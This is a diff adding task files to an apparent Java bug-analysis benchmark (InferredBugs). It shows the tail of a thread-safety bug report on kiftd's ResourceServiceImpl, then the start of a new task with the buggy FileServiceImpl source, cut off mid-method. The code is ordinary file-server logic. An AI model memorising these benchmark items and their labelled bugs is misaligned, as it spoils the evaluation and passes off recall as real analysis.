+Unprotected write. Non-private method `kohgylw.kiftd.server.service.impl.ResourceServiceImpl.getVideoTranscodeStatus` indirectly writes to field `util.ConfigureReader.kohgylw.kiftd.server.util.ConfigureReader.accountPropertiesUpdateDaemonThread` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String ResourceServiceImpl.getVideoTranscodeStatus(HttpServletRequest)
+
+### Procedure Id:
+kohgylw.kiftd.server.service.impl.ResourceServiceImpl.getVideoTranscodeStatus(javax.servlet.http.Htt.da7383375ed87f3b9eb852ec6e060f79
+
+### File:
+src/main/java/kohgylw/kiftd/server/service/impl/ResourceServiceImpl.java
+
+### Key:
+ResourceServiceImpl.java|getVideoTranscodeStatus|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+04e3a2d8526319f176200c912e859f56
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3545/instruction.md b/inferredbugs-3545/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9049533676865514d499fd22197e41f1c2f78a88
--- /dev/null
+++ b/inferredbugs-3545/instruction.md
@@ -0,0 +1,1025 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** kiftd-source
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package kohgylw.kiftd.server.service.impl;
+
+import kohgylw.kiftd.server.service.*;
+
+import org.springframework.stereotype.*;
+import kohgylw.kiftd.server.mapper.*;
+import javax.annotation.*;
+import kohgylw.kiftd.server.enumeration.*;
+import kohgylw.kiftd.server.model.*;
+import kohgylw.kiftd.server.pojo.CheckImportFolderRespons;
+import kohgylw.kiftd.server.pojo.CheckUploadFilesRespons;
+
+import org.springframework.web.multipart.*;
+
+import javax.servlet.http.*;
+import java.io.*;
+import java.nio.charset.Charset;
+
+import kohgylw.kiftd.server.util.*;
+import java.util.*;
+
+import com.google.gson.*;
+import com.google.gson.reflect.TypeToken;
+
+/**
+ * 
+ * <h2>文件服务功能实现类</h2>
+ * <p>
+ * 该类负责对文件相关的服务进行实现操作，例如下载和上传等，各方法功能详见接口定义。
+ * </p>
+ * 
+ * @author 青阳龙野(kohgylw)
+ * @version 1.0
+ * @see kohgylw.kiftd.server.service.FileService
+ */
+@Service
+public class FileServiceImpl extends RangeFileStreamWriter implements FileService {
+	private static final String ERROR_PARAMETER = "errorParameter";// 参数错误标识
+	private static final String NO_AUTHORIZED = "noAuthorized";// 权限错误标识
+	private static final String UPLOADSUCCESS = "uploadsuccess";// 上传成功标识
+	private static final String UPLOADERROR = "uploaderror";// 上传失败标识
+	
+	private static Set<String> pathsKeys;//文件夹上传安全锁，避免同时对同文件夹重复导入
+
+	@Resource
+	private NodeMapper fm;
+	@Resource
+	private FolderMapper flm;
+	@Resource
+	private LogUtil lu;
+	@Resource
+	private Gson gson;
+	@Resource
+	private FileBlockUtil fbu;
+	@Resource
+	private FolderUtil fu;
+
+	private static final String CONTENT_TYPE = "application/octet-stream";
+	
+	{
+		pathsKeys = new HashSet<>();
+	}
+
+	// 检查上传文件列表的实现
+	public String checkUploadFile(final HttpServletRequest request, final HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		final String folderId = request.getParameter("folderId");
+		final String nameList = request.getParameter("namelist");
+		final String maxUploadFileSize = request.getParameter("maxSize");
+		final String maxUploadFileIndex = request.getParameter("maxFileIndex");
+		// 目标文件夹合法性检查
+		if (folderId == null || folderId.length() == 0) {
+			return ERROR_PARAMETER;
+		}
+		Folder folder = flm.queryById(folderId);
+		if (folder == null) {
+			return ERROR_PARAMETER;
+		}
+		// 权限检查
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)
+				|| !ConfigureReader.instance().accessFolder(folder, account)) {
+			return NO_AUTHORIZED;
+		}
+		// 获得上传文件名列表
+		final List<String> namelistObj = gson.fromJson(nameList, new TypeToken<List<String>>() {
+		}.getType());
+		// 准备一个检查结果对象
+		CheckUploadFilesRespons cufr = new CheckUploadFilesRespons();
+		// 开始文件上传体积限制检查
+		try {
+			// 获取最大文件体积（以Byte为单位）
+			long mufs = Long.parseLong(maxUploadFileSize);
+			// 获取最大文件的名称
+			String mfname = namelistObj.get(Integer.parseInt(maxUploadFileIndex));
+			long pMaxUploadSize = ConfigureReader.instance().getUploadFileSize(account);
+			if (pMaxUploadSize >= 0) {
+				if (mufs > pMaxUploadSize) {
+					cufr.setCheckResult("fileTooLarge");
+					cufr.setMaxUploadFileSize(formatMaxUploadFileSize(pMaxUploadSize));
+					cufr.setOverSizeFile(mfname);
+					return gson.toJson(cufr);
+				}
+			}
+		} catch (Exception e) {
+			return ERROR_PARAMETER;
+		}
+		// 开始文件命名冲突检查
+		final List<String> pereFileNameList = new ArrayList<>();
+		// 查找目标目录下是否存在与待上传文件同名的文件（或文件夹），如果有，记录在上方的列表中
+		for (final String fileName : namelistObj) {
+			if (folderId == null || folderId.length() <= 0 || fileName == null || fileName.length() <= 0) {
+				return ERROR_PARAMETER;
+			}
+			final List<Node> files = this.fm.queryByParentFolderId(folderId);
+			if (files.stream().parallel().anyMatch((n) -> n.getFileName()
+					.equals(new String(fileName.getBytes(Charset.forName("UTF-8")), Charset.forName("UTF-8"))))) {
+				pereFileNameList.add(fileName);
+			}
+		}
+		// 如果存在同名文件，则写入同名文件的列表；否则，直接允许上传
+		if (pereFileNameList.size() > 0) {
+			cufr.setCheckResult("hasExistsNames");
+			cufr.setPereFileNameList(pereFileNameList);
+		} else {
+			cufr.setCheckResult("permitUpload");
+			cufr.setPereFileNameList(new ArrayList<String>());
+		}
+		return gson.toJson(cufr);// 以JSON格式写回该结果
+	}
+
+	// 格式化存储体积，便于返回上传文件体积的检查提示信息
+	private String formatMaxUploadFileSize(long size) {
+		double result = (double) size;
+		String unit = "B";
+		if (size <= 0) {
+			return "设置无效，请联系管理员";
+		}
+		if (size >= 1024 && size < 1048576) {
+			result = (double) size / 1024;
+			unit = "KB";
+		} else if (size >= 1048576 && size < 1073741824) {
+			result = (double) size / 1048576;
+			unit = "MB";
+		} else if (size >= 1073741824) {
+			result = (double) size / 1073741824;
+			unit = "GB";
+		}
+		return String.format("%.1f", result) + " " + unit;
+	}
+
+	// 执行上传操作，接收文件并存入文件节点
+	public String doUploadFile(final HttpServletRequest request, final HttpServletResponse response,
+			final MultipartFile file) {
+		String account = (String) request.getSession().getAttribute("ACCOUNT");
+		final String folderId = request.getParameter("folderId");
+		final String originalFileName = new String(file.getOriginalFilename().getBytes(Charset.forName("UTF-8")),
+				Charset.forName("UTF-8"));
+		String fileName = originalFileName;
+		final String repeType = request.getParameter("repeType");
+		// 再次检查上传文件名与目标目录ID
+		if (folderId == null || folderId.length() <= 0 || originalFileName == null || originalFileName.length() <= 0) {
+			return UPLOADERROR;
+		}
+		Folder folder = flm.queryById(folderId);
+		if (folder == null) {
+			return UPLOADERROR;
+		}
+		// 检查上传权限
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)
+				|| !ConfigureReader.instance().accessFolder(folder, account)) {
+			return UPLOADERROR;
+		}
+		// 检查上传文件体积是否超限
+		long mufs = ConfigureReader.instance().getUploadFileSize(account);
+		if (mufs >= 0 && file.getSize() > mufs) {
+			return UPLOADERROR;
+		}
+		// 检查是否存在同名文件。不存在：直接存入新节点；存在：检查repeType代表的上传类型：覆盖、跳过、保留两者。
+		final List<Node> files = this.fm.queryByParentFolderId(folderId);
+		if (files.parallelStream().anyMatch((e) -> e.getFileName().equals(originalFileName))) {
+			// 针对存在同名文件的操作
+			if (repeType != null) {
+				switch (repeType) {
+				// 跳过则忽略上传请求并直接返回上传成功（跳过不应上传）
+				case "skip":
+					return UPLOADSUCCESS;
+				// 覆盖则找到已存在文件节点的File并将新内容写入其中，同时更新原节点信息（除了文件名、父目录和ID之外的全部信息）
+				case "cover":
+					// 其中覆盖操作同时要求用户必须具备删除权限
+					if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+						return UPLOADERROR;
+					}
+					for (Node f : files) {
+						if (f.getFileName().equals(originalFileName)) {
+							File file2 = fbu.getFileFromBlocks(f);
+							try {
+								file.transferTo(file2);
+								f.setFileSize(fbu.getFileSize(file));
+								f.setFileCreationDate(ServerTimeUtil.accurateToDay());
+								if (account != null) {
+									f.setFileCreator(account);
+								} else {
+									f.setFileCreator("\u533f\u540d\u7528\u6237");
+								}
+								if (fm.update(f) > 0) {
+									this.lu.writeUploadFileEvent(f, account);
+									return UPLOADSUCCESS;
+								} else {
+									return UPLOADERROR;
+								}
+							} catch (Exception e) {
+								return UPLOADERROR;
+							}
+						}
+					}
+					return UPLOADERROR;
+				// 保留两者，使用型如“xxxxx (n).xx”的形式命名新文件。其中n为计数，例如已经存在2个文件，则新文件的n记为2
+				case "both":
+					// 设置新文件名为标号形式
+					fileName = FileNodeUtil.getNewNodeName(originalFileName, files);
+					break;
+				default:
+					// 其他声明，容错，暂无效果
+					return UPLOADERROR;
+				}
+			} else {
+				// 如果既有重复文件、同时又没声明如何操作，则直接上传失败。
+				return UPLOADERROR;
+			}
+		}
+		// 将文件存入节点并获取其存入生成路径，型如“UUID.block”形式。
+		final String path = this.fbu.saveToFileBlocks(file);
+		if (path.equals("ERROR")) {
+			return UPLOADERROR;
+		}
+		final String fsize = this.fbu.getFileSize(file);
+		final Node f2 = new Node();
+		f2.setFileId(UUID.randomUUID().toString());
+		if (account != null) {
+			f2.setFileCreator(account);
+		} else {
+			f2.setFileCreator("\u533f\u540d\u7528\u6237");
+		}
+		f2.setFileCreationDate(ServerTimeUtil.accurateToDay());
+		f2.setFileName(fileName);
+		f2.setFileParentFolder(folderId);
+		f2.setFilePath(path);
+		f2.setFileSize(fsize);
+		int i = 0;
+		// 尽可能避免UUID重复的情况发生，重试10次
+		while (true) {
+			try {
+				if (this.fm.insert(f2) > 0) {
+					this.lu.writeUploadFileEvent(f2, account);
+					return UPLOADSUCCESS;
+				}
+				break;
+			} catch (Exception e) {
+				f2.setFileId(UUID.randomUUID().toString());
+				i++;
+			}
+			if (i >= 10) {
+				break;
+			}
+		}
+		return UPLOADERROR;
+	}
+
+	// 删除单个文件，该功能与删除多个文件重复，计划合并二者
+	public String deleteFile(final HttpServletRequest request) {
+		// 接收参数并接续要删除的文件
+		final String fileId = request.getParameter("fileId");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+			return NO_AUTHORIZED;
+		}
+		if (fileId == null || fileId.length() <= 0) {
+			return ERROR_PARAMETER;
+		}
+		// 确认要删除的文件存在
+		final Node file = this.fm.queryById(fileId);
+		if (file == null) {
+			return ERROR_PARAMETER;
+		}
+		// 从文件块删除
+		if (!this.fbu.deleteFromFileBlocks(file)) {
+			return "cannotDeleteFile";
+		}
+		// 从节点删除
+		if (this.fm.deleteById(fileId) > 0) {
+			this.lu.writeDeleteFileEvent(request, file);
+			return "deleteFileSuccess";
+		}
+		return "cannotDeleteFile";
+	}
+
+	// 普通下载：下载单个文件
+	public void doDownloadFile(final HttpServletRequest request, final HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			// 找到要下载的文件节点
+			final String fileId = request.getParameter("fileId");
+			if (fileId != null) {
+				final Node f = this.fm.queryById(fileId);
+				if (f != null) {
+					// 执行写出
+					final File fo = this.fbu.getFileFromBlocks(f);
+					if (fo != null) {
+						writeRangeFileStream(request, response, fo, f.getFileName(), CONTENT_TYPE);
+						// 日志记录（仅针对一次下载）
+						if (request.getHeader("Range") == null) {
+							this.lu.writeDownloadFileEvent(request, f);
+						}
+						return;
+					}
+				}
+			}
+		}
+		try {
+			//  处理无法下载的资源
+			response.sendError(404);
+		} catch (IOException e) {
+		}
+	}
+
+	// 重命名文件
+	public String doRenameFile(final HttpServletRequest request) {
+		final String fileId = request.getParameter("fileId");
+		final String newFileName = request.getParameter("newFileName");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.RENAME_FILE_OR_FOLDER)) {
+			return NO_AUTHORIZED;
+		}
+		// 参数检查
+		if (fileId == null || fileId.length() <= 0 || newFileName == null || newFileName.length() <= 0) {
+			return ERROR_PARAMETER;
+		}
+		if (!TextFormateUtil.instance().matcherFileName(newFileName) || newFileName.indexOf(".") == 0) {
+			return ERROR_PARAMETER;
+		}
+		final Node file = this.fm.queryById(fileId);
+		if (file == null) {
+			return ERROR_PARAMETER;
+		}
+		if (!file.getFileName().equals(newFileName)) {
+			// 不允许重名
+			if (fm.queryBySomeFolder(fileId).parallelStream().anyMatch((e) -> e.getFileName().equals(newFileName))) {
+				return "nameOccupied";
+			}
+			// 更新文件名
+			final Map<String, String> map = new HashMap<String, String>();
+			map.put("fileId", fileId);
+			map.put("newFileName", newFileName);
+			if (this.fm.updateFileNameById(map) == 0) {
+				// 并写入日志
+				return "cannotRenameFile";
+			}
+		}
+		this.lu.writeRenameFileEvent(request, file, newFileName);
+		return "renameFileSuccess";
+	}
+
+	// 删除所有选中文件和文件夹
+	public String deleteCheckedFiles(final HttpServletRequest request) {
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+			try {
+				// 得到要删除的文件ID列表
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				// 对每个要删除的文件节点进行确认并删除
+				for (final String fileId : idList) {
+					if (fileId == null || fileId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node file = this.fm.queryById(fileId);
+					if (file == null) {
+						return "deleteFileSuccess";
+					}
+					// 删除文件块
+					if (!this.fbu.deleteFromFileBlocks(file)) {
+						return "cannotDeleteFile";
+					}
+					// 删除文件节点
+					if (this.fm.deleteById(fileId) <= 0) {
+						return "cannotDeleteFile";
+					}
+					// 日志记录
+					this.lu.writeDeleteFileEvent(request, file);
+				}
+				// 删完选中的文件，再去删文件夹
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (String fid : fidList) {
+					Folder folder = flm.queryById(fid);
+					final List<Folder> l = this.fu.getParentList(fid);
+					if (fu.deleteAllChildFolder(fid) <= 0) {
+						return "cannotDeleteFile";
+					} else {
+						this.lu.writeDeleteFolderEvent(request, folder, l);
+					}
+				}
+				return "deleteFileSuccess";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+	// 打包下载功能：前置——压缩要打包下载的文件
+	public String downloadCheckedFiles(final HttpServletRequest request) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			final String strIdList = request.getParameter("strIdList");
+			final String strFidList = request.getParameter("strFidList");
+			try {
+				// 获得要打包下载的文件ID
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				// 创建ZIP压缩包并将全部文件压缩
+				if (idList.size() > 0 || fidList.size() > 0) {
+					final String zipname = this.fbu.createZip(idList, fidList, account);
+					this.lu.writeDownloadCheckedFileEvent(request, idList);
+					// 返回生成的压缩包路径
+					return zipname;
+				}
+			} catch (Exception ex) {
+			}
+		}
+		return "ERROR";
+	}
+
+	// 打包下载功能：执行——下载压缩好的文件
+	public void downloadCheckedFilesZip(final HttpServletRequest request, final HttpServletResponse response)
+			throws Exception {
+		final String zipname = request.getParameter("zipId");
+		if (zipname != null && !zipname.equals("ERROR")) {
+			final String tfPath = ConfigureReader.instance().getTemporaryfilePath();
+			final File zip = new File(tfPath, zipname);
+			String fname = "kiftd_" + ServerTimeUtil.accurateToDay() + "_\u6253\u5305\u4e0b\u8f7d.zip";
+			if (zip.exists()) {
+				writeRangeFileStream(request, response, zip, fname, CONTENT_TYPE);
+				zip.delete();
+			}
+		}
+	}
+
+	public String getPackTime(final HttpServletRequest request) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			final String strIdList = request.getParameter("strIdList");
+			final String strFidList = request.getParameter("strFidList");
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (String fid : fidList) {
+					countFolderFilesId(account, fid, fidList);
+				}
+				long packTime = 0L;
+				for (final String fid : idList) {
+					final Node n = this.fm.queryById(fid);
+					final File f = fbu.getFileFromBlocks(n);
+					if (f != null && f.exists()) {
+						packTime += f.length() / 25000000L;
+					}
+				}
+				if (packTime < 4L) {
+					return "\u9a6c\u4e0a\u5b8c\u6210";
+				}
+				if (packTime >= 4L && packTime < 10L) {
+					return "\u5927\u7ea610\u79d2";
+				}
+				if (packTime >= 10L && packTime < 35L) {
+					return "\u4e0d\u5230\u534a\u5206\u949f";
+				}
+				if (packTime >= 35L && packTime < 65L) {
+					return "\u5927\u7ea61\u5206\u949f";
+				}
+				if (packTime >= 65L) {
+					return "\u8d85\u8fc7" + packTime / 60L
+							+ "\u5206\u949f\uff0c\u8017\u65f6\u8f83\u957f\uff0c\u5efa\u8bae\u76f4\u63a5\u4e0b\u8f7d";
+				}
+			} catch (Exception ex) {
+			}
+		}
+		return "0";
+	}
+
+	// 用于迭代获得全部文件夹内的文件ID（方便预测耗时）
+	private void countFolderFilesId(String account, String fid, List<String> idList) {
+		Folder f = flm.queryById(fid);
+		if (ConfigureReader.instance().accessFolder(f, account)) {
+			idList.addAll(Arrays.asList(
+					fm.queryByParentFolderId(fid).parallelStream().map((e) -> e.getFileId()).toArray(String[]::new)));
+			List<Folder> cFolders = flm.queryByParentId(fid);
+			for (Folder cFolder : cFolders) {
+				countFolderFilesId(account, cFolder.getFolderId(), idList);
+			}
+		}
+	}
+
+	@Override
+	public String doMoveFiles(HttpServletRequest request) {
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String strOptMap = request.getParameter("strOptMap");
+		final String locationpath = request.getParameter("locationpath");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.MOVE_FILES)) {
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final Map<String, String> optMap = gson.fromJson(strOptMap, new TypeToken<Map<String, String>>() {
+				}.getType());
+				for (final String id : idList) {
+					if (id == null || id.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node node = this.fm.queryById(id);
+					if (node == null) {
+						return ERROR_PARAMETER;
+					}
+					if (node.getFileParentFolder().equals(locationpath)) {
+						break;
+					}
+					if (fm.queryByParentFolderId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFileName().equals(node.getFileName()))) {
+						if (optMap.get(id) == null) {
+							return ERROR_PARAMETER;
+						}
+						switch (optMap.get(id)) {
+						case "cover":
+							if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+								return NO_AUTHORIZED;
+							}
+							Node n = fm.queryByParentFolderId(locationpath).parallelStream()
+									.filter((e) -> e.getFileName().equals(node.getFileName())).findFirst().get();
+							if (fm.deleteById(n.getFileId()) > 0) {
+								Map<String, String> map = new HashMap<>();
+								map.put("fileId", node.getFileId());
+								map.put("locationpath", locationpath);
+								if (this.fm.moveById(map) <= 0) {
+									return "cannotMoveFiles";
+								}
+							} else {
+								return "cannotMoveFiles";
+							}
+							this.lu.writeMoveFileEvent(request, node);
+							break;
+						case "both":
+							node.setFileName(FileNodeUtil.getNewNodeName(node.getFileName(),
+									fm.queryByParentFolderId(locationpath)));
+							if (fm.update(node) <= 0) {
+								return "cannotMoveFiles";
+							}
+							Map<String, String> map = new HashMap<>();
+							map.put("fileId", node.getFileId());
+							map.put("locationpath", locationpath);
+							if (this.fm.moveById(map) <= 0) {
+								return "cannotMoveFiles";
+							}
+							this.lu.writeMoveFileEvent(request, node);
+							break;
+						case "skip":
+							break;
+						default:
+							return ERROR_PARAMETER;
+						}
+					} else {
+						Map<String, String> map = new HashMap<>();
+						map.put("fileId", node.getFileId());
+						map.put("locationpath", locationpath);
+						if (this.fm.moveById(map) <= 0) {
+							return "cannotMoveFiles";
+						}
+						this.lu.writeMoveFileEvent(request, node);
+					}
+				}
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (final String fid : fidList) {
+					if (fid == null || fid.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Folder folder = this.flm.queryById(fid);
+					if (folder == null) {
+						return ERROR_PARAMETER;
+					}
+					if (folder.getFolderParent().equals(locationpath)) {
+						break;
+					}
+					if (fid.equals(locationpath) || fu.getParentList(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderId().equals(folder.getFolderId()))) {
+						return ERROR_PARAMETER;
+					}
+					if (flm.queryByParentId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderName().equals(folder.getFolderName()))) {
+						if (optMap.get(fid) == null) {
+							return ERROR_PARAMETER;
+						}
+						switch (optMap.get(fid)) {
+						case "cover":
+							if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+								return NO_AUTHORIZED;
+							}
+							Folder f = flm.queryByParentId(locationpath).parallelStream()
+									.filter((e) -> e.getFolderName().equals(folder.getFolderName())).findFirst().get();
+							Map<String, String> map = new HashMap<>();
+							map.put("folderId", folder.getFolderId());
+							map.put("locationpath", locationpath);
+							if (this.flm.moveById(map) > 0) {
+								if (fu.deleteAllChildFolder(f.getFolderId()) > 0) {
+									this.lu.writeMoveFileEvent(request, folder);
+									break;
+								}
+							}
+							return "cannotMoveFiles";
+						case "both":
+							Map<String, String> map3 = new HashMap<>();
+							map3.put("folderId", folder.getFolderId());
+							map3.put("locationpath", locationpath);
+							if (this.flm.moveById(map3) > 0) {
+								Map<String, String> map2 = new HashMap<String, String>();
+								map2.put("folderId", folder.getFolderId());
+								map2.put("newName", FileNodeUtil.getNewFolderName(folder.getFolderName(),
+										flm.queryByParentId(locationpath)));
+								if (flm.updateFolderNameById(map2) <= 0) {
+									return "cannotMoveFiles";
+								}
+								this.lu.writeMoveFileEvent(request, folder);
+								break;
+							}
+							this.lu.writeMoveFileEvent(request, folder);
+							break;
+						case "skip":
+							break;
+						default:
+							return ERROR_PARAMETER;
+						}
+					} else {
+						Map<String, String> map = new HashMap<>();
+						map.put("folderId", folder.getFolderId());
+						map.put("locationpath", locationpath);
+						if (this.flm.moveById(map) > 0) {
+							this.lu.writeMoveFileEvent(request, folder);
+						} else {
+							return "cannotMoveFiles";
+						}
+					}
+				}
+				return "moveFilesSuccess";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+	@Override
+	public String confirmMoveFiles(HttpServletRequest request) {
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String locationpath = request.getParameter("locationpath");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.MOVE_FILES)) {
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				List<Node> repeNodes = new ArrayList<>();
+				List<Folder> repeFolders = new ArrayList<>();
+				for (final String fileId : idList) {
+					if (fileId == null || fileId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node node = this.fm.queryById(fileId);
+					if (node == null) {
+						return ERROR_PARAMETER;
+					}
+					if (node.getFileParentFolder().equals(locationpath)) {
+						break;
+					}
+					if (fm.queryByParentFolderId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFileName().equals(node.getFileName()))) {
+						repeNodes.add(node);
+					}
+				}
+				for (final String folderId : fidList) {
+					if (folderId == null || folderId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Folder folder = this.flm.queryById(folderId);
+					if (folder == null) {
+						return ERROR_PARAMETER;
+					}
+					if (folder.getFolderParent().equals(locationpath)) {
+						break;
+					}
+					if (folderId.equals(locationpath) || fu.getParentList(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderId().equals(folder.getFolderId()))) {
+						return "CANT_MOVE_TO_INSIDE:" + folder.getFolderName();
+					}
+					if (flm.queryByParentId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderName().equals(folder.getFolderName()))) {
+						repeFolders.add(folder);
+					}
+				}
+				if (repeNodes.size() > 0 || repeFolders.size() > 0) {
+					Map<String, List<? extends Object>> repeMap = new HashMap<>();
+					repeMap.put("repeFolders", repeFolders);
+					repeMap.put("repeNodes", repeNodes);
+					return "duplicationFileName:" + gson.toJson(repeMap);
+				}
+				return "confirmMoveFiles";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+	@Override
+	public String checkImportFolder(HttpServletRequest request) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		final String folderId = request.getParameter("folderId");
+		final String folderName = request.getParameter("folderName");
+		final String maxUploadFileSize = request.getParameter("maxSize");
+		CheckImportFolderRespons cifr = new CheckImportFolderRespons();
+		// 先行权限检查
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)) {
+			cifr.setResult(NO_AUTHORIZED);
+			return gson.toJson(cifr);
+		}
+		// 开始文件上传体积限制检查
+		try {
+			// 获取最大文件体积（以Byte为单位）
+			long mufs = Long.parseLong(maxUploadFileSize);
+			long pMaxUploadSize = ConfigureReader.instance().getUploadFileSize(account);
+			if (pMaxUploadSize >= 0) {
+				if (mufs > pMaxUploadSize) {
+					cifr.setResult("fileOverSize");
+					cifr.setMaxSize(formatMaxUploadFileSize(ConfigureReader.instance().getUploadFileSize(account)));
+					return gson.toJson(cifr);
+				}
+			}
+		} catch (Exception e) {
+			cifr.setResult(ERROR_PARAMETER);
+			return gson.toJson(cifr);
+		}
+		// 开始文件夹命名冲突检查，若无重名则允许上传。
+		final List<Folder> folders = flm.queryByParentId(folderId);
+		try {
+			Folder testfolder = folders.stream().parallel()
+					.filter((n) -> n.getFolderName().equals(
+							new String(folderName.getBytes(Charset.forName("UTF-8")), Charset.forName("UTF-8"))))
+					.findAny().get();
+			// 若有重名，则判定该用户是否具备删除权限，这是能够覆盖的第一步
+			if (ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+				// 接下来判断其是否具备冲突文件夹的访问权限，这是能够覆盖的第二步
+				if (ConfigureReader.instance().accessFolder(testfolder, account)) {
+					cifr.setResult("coverOrBoth");
+					return gson.toJson(cifr);
+				}
+			}
+			// 如果上述条件不满足，则只能允许保留两者
+			cifr.setResult("onlyBoth");
+			return gson.toJson(cifr);
+		} catch (NoSuchElementException e) {
+			// 通过所有检查，允许上传
+			cifr.setResult("permitUpload");
+			return gson.toJson(cifr);
+		}
+	}
+
+	@Override
+	public String doImportFolder(HttpServletRequest request, MultipartFile file) {
+		String account = (String) request.getSession().getAttribute("ACCOUNT");
+		String folderId = request.getParameter("folderId");
+		final String originalFileName = new String(file.getOriginalFilename().getBytes(Charset.forName("UTF-8")),
+				Charset.forName("UTF-8"));
+		final String folderConstraint = request.getParameter("folderConstraint");
+		// 再次检查上传文件名与目标目录ID
+		if (folderId == null || folderId.length() <= 0 || originalFileName == null || originalFileName.length() <= 0) {
+			return UPLOADERROR;
+		}
+		Folder folder = flm.queryById(folderId);
+		if (folder == null) {
+			return UPLOADERROR;
+		}
+		// 检查上传权限
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)
+				|| !ConfigureReader.instance().accessFolder(folder, account)) {
+			return UPLOADERROR;
+		}
+		// 检查上传文件体积是否超限
+		long mufs = ConfigureReader.instance().getUploadFileSize(account);
+		if (mufs >= 0 && file.getSize() > mufs) {
+			return UPLOADERROR;
+		}
+		// 计算相对路径的文件夹ID（即真正要保存的文件夹目标）
+		String[] paths = getParentPath(originalFileName);
+		//将当前操作的文件夹路径加入到安全锁中，确保同一时间内无法对该文件夹进行重复导入，避免发生文件冲突的问题。
+		String pathskey = Arrays.toString(paths);
+		synchronized (pathsKeys) {
+			if(pathsKeys.contains(pathskey)) {
+				return UPLOADERROR;
+			}else {
